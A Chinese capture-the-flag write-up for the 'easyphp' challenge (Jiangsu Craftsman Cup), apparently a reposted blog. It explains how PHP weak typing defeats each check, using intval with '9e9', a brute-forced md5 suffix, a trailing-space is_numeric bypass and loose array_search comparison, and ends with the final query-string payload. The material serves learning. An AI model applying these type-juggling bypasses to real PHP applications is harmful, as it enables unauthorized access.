江苏工匠杯_easyphp_wp
?關(guān)鍵詞?江蘇工匠杯 easyphp 攻防世界 ctf wp php弱類型?php類型轉(zhuǎn)換
目錄
前言
原題地址
?分詞php代碼
魔頭一: $a
魔頭二: $b
大魔頭三之一:$c[“m”]
?大魔頭三之一:$c[“n”]
整合所有的payload
總結(jié)
前言
小時(shí)侯 我們都聽過這樣的童話故事,王子要拯救公主就要越過重重的關(guān)卡打敗魔王 集齊鑰匙最終喚醒公主 得到浪漫的結(jié)局 。這次的題 會(huì)讓你有種相鄰的體驗(yàn)。翻過層層大山 最終得到flag.
原題地址
攻防世界https://adworld.xctf.org.cn/challenges/list
?
?點(diǎn)擊獲取在線場(chǎng)景 我們的得到一段php代碼
?分詞php代碼
<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0;$a = $_GET['a']; $b = $_GET['b'];if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;}else{die("Emmm...再想想");}}else{die("Emmm..."); }$c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);$d === false?die("no..."):NULL;foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;}$key2 = 1;}else{die("no hack");} }else{die("no"); }if($key1 && $key2){include "Hgfks.php";echo "You're right"."\n";echo $flag; }?> Emmm...服務(wù)端接收get傳參 a b 通過一些列的if運(yùn)算 得到key1 得到key2 也只有得到了這兩把鑰匙才能包含含有flag的php文件 打印出flag.
魔頭一: $a
看一看 過魔頭一要什么條件
<?php highlight_file(__FILE__); $a = $_GET['a']; if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){echo "成功通過參數(shù)a";}else{die("Emmm..."); } ?>$a傳參不為空 $a的數(shù)值要大于600000 $a的長(zhǎng)度要小于等于3位
這似乎說是一個(gè)矛盾的事情 要數(shù)值大于6000000 可以是6000001 這樣長(zhǎng)度必定大于3位 一般人會(huì)這想... 別急 類似矛盾后面還有...
查看php官網(wǎng)網(wǎng)對(duì)intval函數(shù)的說明PHP: intval - Manualhttps://www.php.net/manual/zh/function.intval.php
看看官網(wǎng)示例 #1 intval() 例子
?
?重點(diǎn)看看那些小長(zhǎng)度 大數(shù)值的例子
<?php echo intval(042); ? ? ? ? ? // 34 echo intval(1e10); ? ? ? ? ?// 1410065408 echo intval(0x1A); ? ? ? ? ?// 26 ?>0x1A為十六進(jìn)制 最終得到了十進(jìn)制26 可是三個(gè)長(zhǎng)度 最大也是0xf(15)到達(dá)不了600000 如果能有600001 進(jìn)制的表示方法就好了這樣我一個(gè)10就可以表示600001 了 ...
1e10 最終表示十進(jìn)制的1410065408 看到這個(gè)e有沒有很熟悉 這個(gè)就是科學(xué)計(jì)數(shù)法 1e10就是1*10的10次方
我們用9e9傳參 $a 先用本地文件測(cè)試一下
?ok 成功通過了a參數(shù)
魔頭二: $b
任然跟上一個(gè)一樣 先做一個(gè)本地的測(cè)試文件
<?php highlight_file(__FILE__); $key1 = 0; $b = $_GET['b']; if(isset($b) && '8b184b' === substr(md5($b),-6,6)){$key1 = 1;echo "得到第一把鑰匙".$key1;}else{die("Emmm...再想想");} ?>傳入?yún)?shù)b 計(jì)算參數(shù)b md5的散列值 讓它的最后六位為8b184b才能通過
這個(gè)容易 暴力的猜測(cè)嘛 讓程序去做 我們就用php代碼來算吧
<?php highlight_file(__FILE__); for($b = 1; $b <= 900000; $b++){$c = md5($b);if(isset($b) && '8b184b' === substr(md5($b),-6,6))//取md5的后6位 ? echo "成功 $b:$c";elsecontinue; } ?>?for循環(huán)下很快 我們很快就找到了符合條件的值53724 這樣我們過了 魔頭b了
大魔頭三之一:$c[“m”]
建立本次測(cè)試文件$c_"m".php
<?php highlight_file(__FILE__); $c=(array)json_decode(@$_GET['c']); //json_decode — 對(duì) JSON 格式的字符串進(jìn)行解碼 if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){echo "成功打敗魔頭c[m]"; }else{die("no"); } ?>閱讀代碼得知 我們傳入c值需是JSON 格式的字符串編碼 且是一個(gè)數(shù)組
建立本次測(cè)試文件 輸出json_decode
有一個(gè)鍵值是m的要大于2023 且不能是數(shù)字或數(shù)字字符串。這又是一個(gè)矛盾的組合
<?php $arr = array (//'m'=>2023 //不可以 因?yàn)槭菙?shù)字//'m' => "2023" //不可以 因?yàn)槭菙?shù)字字符串'm' => "2023 "//以空格結(jié)尾的字符串 分析如下 ); echo json_encode($arr); ? ?>第一次看代碼的時(shí)候我也不知道is_numeric的具體作用 這時(shí)候我就去翻翻官方手冊(cè) 這非常有用的
PHP: is_numeric - Manualhttps://www.php.net/manual/zh/function.is-numeric.php
看看傳入的參數(shù)要求了 返回值了 范例了 一般我都會(huì)從頭看到尾 瀏覽的過程中我發(fā)現(xiàn)一個(gè)很重要的信息
?這是函數(shù)is_numeric的更新日志 也許我們可以加空格來通過$c[“m”]
用剛才輸出的測(cè)試代碼 傳入$c_"m".php
?
?大魔頭三之一:$c[“n”]
建立本地測(cè)試文件
<?php highlight_file(__FILE__); ? $c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){$d = array_search("DGGJ", $c["n"]);//array_search — 在數(shù)組中搜索給定的值,如果成功則返回首個(gè)相應(yīng)的鍵名$d === false?die("no..."):NULL;echo "通過\$d";foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;//這點(diǎn)val的值不能是"DGGJ"}$key2 = 2;echo "得到鑰匙$key2";}else{die("no hack");} }else{die("no"); } <?php $arr = array ('m' => "2023 "//固定'n' => 待添加 ); echo json_encode($arr); ?>它要求$c["n"]需是一個(gè)數(shù)組 數(shù)組的成員需是兩個(gè) 數(shù)組的第一個(gè)成員還是一個(gè)數(shù)組 大概就是這樣子的
’n‘ => array(array(),"")
不多它在后面又有要求了$c["n"]成員要有DGGJ 否者就會(huì)死亡。改寫代碼
’n‘ => array(array(),"DGGJ")
后面有一個(gè)遍歷$c["n"] 的foreach 若有DGGJ值就會(huì)死亡 這又又是一個(gè)矛盾的點(diǎn) 那到底要不要DGGL了
...
后面我經(jīng)歷好多次的嘗試 查官方資料 希望能獲取靈感... 注意在官方手冊(cè)里array_search 有一個(gè)be careful
這到底是什么值得小心的
?可以看到array_search搜索字符串needle 但它的成員里只有數(shù)組0 最終返回int類型0
我在想這個(gè)0是不是它的鍵值 如果我把它換為1 那是不是就返回int(1)了
var_dump(array_search('needle', [ 1 => 0 ])); // :3:int 1
通過測(cè)試把健值改為1 真就返回1了 這樣就可以了通過最后一關(guān) 得到鑰匙了
事實(shí)上這又是一個(gè)類型不匹配的問題
為什么說又呢 細(xì)心的小伙伴會(huì)發(fā)現(xiàn)上面的代碼有 $c["m"] > 2022)
我們輸入的是數(shù)字字符串 這是可以和數(shù)字進(jìn)行比較的 但如果我們輸入的是純字符串與數(shù)字做比較 那最終會(huì)是 0與2022作比較
因?yàn)樽址畷?huì)變成int類型 在與其他int作比較
任何字符串轉(zhuǎn)換為int型都將是0 這點(diǎn)可以用(int)"string"做測(cè)試
array_search 就存在這樣的問題 他會(huì)先把’needle‘ 轉(zhuǎn)化為int類型 在于0做比較相等就返回它的鍵值
修改本地測(cè)試代碼
<?php $arr = array ('m' => "2023 ",//固定//'n' => array(array(),DGGJ)//不可以喲//'n' => array(array(),(int)"DGGJ")//手動(dòng)字符串轉(zhuǎn)數(shù)字'n' => array(array(),0) ); echo json_encode($arr); ?>輸出{"m":"2023 ","n":[[],0]}
這樣數(shù)數(shù)組里的值就沒有DGGJ 這里不用擔(dān)心有類型轉(zhuǎn)換的問題 因?yàn)閒oreach用的是 === 類型嚴(yán)格匹配
經(jīng)過array_search 會(huì)返回1 也就是true 它可不等于false $d將是null
?到這里算是通過所有考驗(yàn)?
整合所有的payload
a=9e9
b=53724
c={"n":[[null],0],"m":"2023 "}
多值get傳參
?a=9e9&b=53724&c={"n":[[],0],"m":"2023 "}
最終通過了層層險(xiǎn)阻打敗了魔王得到了鑰匙 迎娶了公主(flag)
總結(jié)
這道題還是很有意思的
php對(duì)參數(shù)類型做的沒那么嚴(yán)格 所以有一種說法叫做php弱類型
總結(jié)
以上是生活随笔為你收集整理的江苏工匠杯_easyphp_wp的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 铁路学校的计算机bim专业,【BIM案例
- 下一篇: c语言 串口 封装,首颗超小封装的串口(